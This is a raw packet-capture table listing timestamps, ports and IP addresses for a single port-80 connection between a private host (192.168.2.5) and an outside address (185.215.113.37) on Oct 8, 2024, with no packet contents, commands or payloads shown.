Oct 8, 2024 03:22:19.441381931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441396952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441401958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441416979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441431999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441437960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441450119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441472054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441606045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441623926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441639900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441643000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441653013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441673040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441675901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441690922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441709042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441713095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441728115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441732883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441745043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441752911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441766977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441776037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441781998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441796064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441807985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441817045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441829920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441837072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441848040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441860914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441873074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441879988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441894054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441903114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441911936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441921949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441936970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441951990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.441953897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.441984892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442203999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442222118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442241907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442244053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442259073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442265034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442280054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442284107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442301035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442303896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442318916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442323923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442341089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442358971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442365885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442384958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442404985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442420006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442421913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442444086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442444086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442457914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442466974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442481041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442481995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442495108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442514896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442599058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442620039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442641020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442656994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442661047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442678928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442678928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442702055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442706108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442718983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442723989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442742109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442745924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442750931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442771912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442776918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442801952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442806005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442809105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442823887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442850113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442852974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442869902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.442876101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.442909956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519182920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519202948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519232035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519253016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519267082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519273996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519289017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519316912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519316912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519328117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519356012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519370079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519395113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519402027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519428015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519433975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519454002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519475937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519478083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519489050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519499063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519510984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519517899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519536018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519540071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519556046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519570112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519625902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519663095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519692898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519882917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519901991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519922972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519925117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.519948006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519958973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.519999981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520036936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.520101070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520119905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520139933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.520143032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520153046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.520163059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520181894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520200014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.520203114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520222902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520226955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.520243883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520250082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.520262957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.520282030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.520286083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520306110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.520320892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.520339012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527333021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527364016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527400017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527420044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527420998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527442932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527453899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527463913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527477026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527481079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527501106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527512074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527525902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527529955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527544975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527554989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527565002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527575016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527589083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527595043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527606964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527615070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527628899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527643919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527647018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527661085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527677059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527684927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527693987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527703047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527719975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527733088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527740955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527761936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527771950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527781010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527793884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527801037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527813911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527821064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527833939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527842045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527853012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527862072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527877092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527894974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.527940035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.527973890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528117895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528136015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528157949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528167009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528170109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528193951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528196096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528217077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528218985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528235912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528237104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528249025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528258085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528270960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528279066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528309107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528420925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528440952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528454065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528460979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528481007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528486013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528498888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528500080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528517008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528518915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528543949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528548956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528562069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528568983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528582096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528590918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528603077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528611898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528625011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528631926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528645039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528652906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528665066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528685093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528850079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528868914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528889894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528892040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528909922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528909922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528928041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528929949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528949022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528950930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528966904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528970003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.528986931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.528990030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529000998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529011011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529031992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529031992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529043913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529052019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529062986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529069901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529092073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529102087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529112101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529131889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529155970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529311895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529329062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529350996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529365063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529369116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529388905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529391050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529407978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529416084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529428005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529433012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529443979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529448032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529463053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529465914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529486895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529500961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529505968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529525042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529537916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529541969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529567003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529589891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529700041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529716015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529737949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529752016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529758930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529776096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529777050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529797077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529798031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529814005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529817104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529835939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529836893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529849052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529856920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529871941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529875994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529891968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529896021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529903889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529916048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529928923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529932022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529949903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529953957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529964924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.529974937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.529985905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.530009985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.606290102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606313944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606324911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606355906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606368065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606425047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.606427908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606439114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606457949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.606462955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.606496096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.606570959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606580973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606590033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.606595039 CEST	80	49704	185.215.113.37	192.168.2.5
